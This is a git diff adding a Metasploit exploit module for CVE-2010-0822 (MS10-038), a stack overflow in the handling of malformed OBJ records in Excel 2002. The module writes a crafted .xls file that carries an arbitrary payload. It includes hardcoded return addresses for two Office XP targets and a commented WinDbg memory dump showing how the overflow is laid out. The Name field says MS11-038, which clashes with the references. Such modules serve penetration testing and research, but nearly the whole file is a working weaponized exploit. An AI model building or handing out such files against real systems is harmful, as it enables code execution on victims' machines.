diff --git a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb new file mode 100644 index 0000000000..05726122ae --- /dev/null +++ b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb @@ -0,0 +1,189 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", + 'Description' => %q{ + This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. + By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker + can get the control of the excution flow. This results aribrary code execution under + the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nicolas Joly', # Initial discovery + 'Shahin Ramezany ', # MOAUB 24 exploit and binary analysis + 'juan vazquez' # Metasploit + ], + 'References' => + [ + ['CVE', '2010-0822'], + ['OSVDB', '65236'], + ['BID', '40520'], + ['MSB', 'MS10-038'], + ['URL', 'http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/'] + ], + 'Payload' => + { + 'Space' => 4000 + }, + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + 'DisablePayloadHandler' => 'true' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + # This is the one that can be downloaded from MSDN + 'Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3', + { + 'ftCmoReserved' => 0x307d91ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data + 'CraftedPointer' => 0x307d91a6, # Ptr to PtrToRet in the stored contents on Excel .data + 'PtrToRet' => 0x307d908e, # Ptr to Ret - 11Ch + 'Ret' => 0x30006113 # call ecx from Excel.exe 10.0.2614.0 + } + ], + [ + 'Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3', + { + 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data + 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data + 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch + 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jun 8 2010", + 'DefaultTarget' => 1)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The filename', 'msf.xls']) + ], self.class) + end + + def exploit + + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2010-0822.xls') + f = File.open(path, 'rb') + template = f.read + f.close + buf = '' + buf << template[0..35016] + buf << [target['ftCmoReserved']].pack('V') + buf << template[35021..36549] + buf << [target['PtrToRet']].pack('V') + buf << [target.ret].pack('V') + buf << template[36558..36559] + buf << [target['CraftedPointer']].pack('V') + buf << template[36564..36609] + buf << [target['CraftedPointer']].pack('V') # Pass the MSO_804() + buf << template[36614..36639] + buf << payload.encoded + buf << template[40640..template.length] + file_create(buf) + + end + +end + +=begin + +Memory analysis on Office XP SP2 + +'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data +------------------------------------------------------------------------------------------ + +0:000> db 0x307de5ac +307de5ac 00 30 74 00 a6 e5 7d 30-4c 4c 00 55 6e 69 72 42 .0t...}0LL.UnirB +307de5bc 42 42 42 4c 00 48 50 44-6f 63 55 49 53 55 49 00 BBBL.HPDocUISUI. +307de5cc 54 72 75 65 00 52 65 73-6f 6c 75 74 69 6f 6e 00 True.Resolution. +307de5dc 36 30 30 64 70 69 a6 e5-7d 30 74 52 65 73 00 46 600dpi..}0tRes.F +307de5ec 61 6c 73 65 90 90 90 90-90 90 90 90 90 90 90 90 alse............ +307de5fc 90 90 90 90 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA +307de60c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de61c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA + +'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data +----------------------------------------------------------------------------------- + +0:000> db 0x307de5a6 +307de5a6 8e e4 7d 30 a5 61 00 30-74 00 a6 e5 7d 30 4c 4c ..}0.a.0t...}0LL +307de5b6 00 55 6e 69 72 42 42 42-42 4c 00 48 50 44 6f 63 .UnirBBBBL.HPDoc +307de5c6 55 49 53 55 49 00 54 72-75 65 00 52 65 73 6f 6c UISUI.True.Resol +307de5d6 75 74 69 6f 6e 00 36 30-30 64 70 69 [[a6 e5 7d 30]]* ution.600dpi..}0 +307de5e6 74 52 65 73 00 46 61 6c-73 65 90 90 90 90 90 90 tRes.False...... +307de5f6 90 90 90 90 90 90 90 90-90 90 41 41 41 41 41 41 ..........AAAAAA +307de606 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de616 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA + +* => 0x307de5a6 + 0x3c => 0x307de5e2 + +'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch +--------------------------------------------- + +307de48e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de49e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de4ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de4be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de4ce 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de4de 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de4ee 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de4fe 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de50e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de51e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de52e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de53e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de54e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de55e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de56e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de57e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de58e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ +307de59e eb 60 6e 00 50 72 69 6e-8e e4 7d 30 [[a5 61 00 30]]* .`n.Prin..}0.a.0 +307de5ae 74 00 a6 e5 7d 30 4c 4c-00 55 6e 69 72 42 42 42 t...}0LL.UnirBBB +307de5be 42 4c 00 48 50 44 6f 63-55 49 53 55 49 00 54 72 BL.HPDocUISUI.Tr +307de5ce 75 65 00 52 65 73 6f 6c-75 74 69 6f 6e 00 36 30 ue.Resolution.60 +307de5de 30 64 70 69 a6 e5 7d 30-74 52 65 73 00 46 61 6c 0dpi..}0tRes.Fal +307de5ee 73 65 90 90 90 90 90 90-90 90 90 90 90 90 90 90 se.............. +307de5fe 90 90 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA +307de60e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de61e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de62e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de63e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de64e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de65e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de66e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +307de67e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA + +* 0x307de48e + 0x11c => 0x307de48e + +'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 +---------------------------------------------------------- + +EXCEL!Ordinal41+0x61a5: +300061a5 ffd1 call ecx +300061a7 e00b loopne EXCEL!Ordinal41+0x61b4 (300061b4) +300061a9 c1536689 rcl dword ptr [ebx+66h],89h +300061ad 46 inc esi +300061ae 2a8d8574ffff sub cl,byte ptr [ebp-8B7Bh] +300061b4 ff5068 call dword ptr [eax+68h] +300061b7 1200 adc al,byte ptr [eax] +300061b9 0400 add al,0 + +=end \ No newline at end of file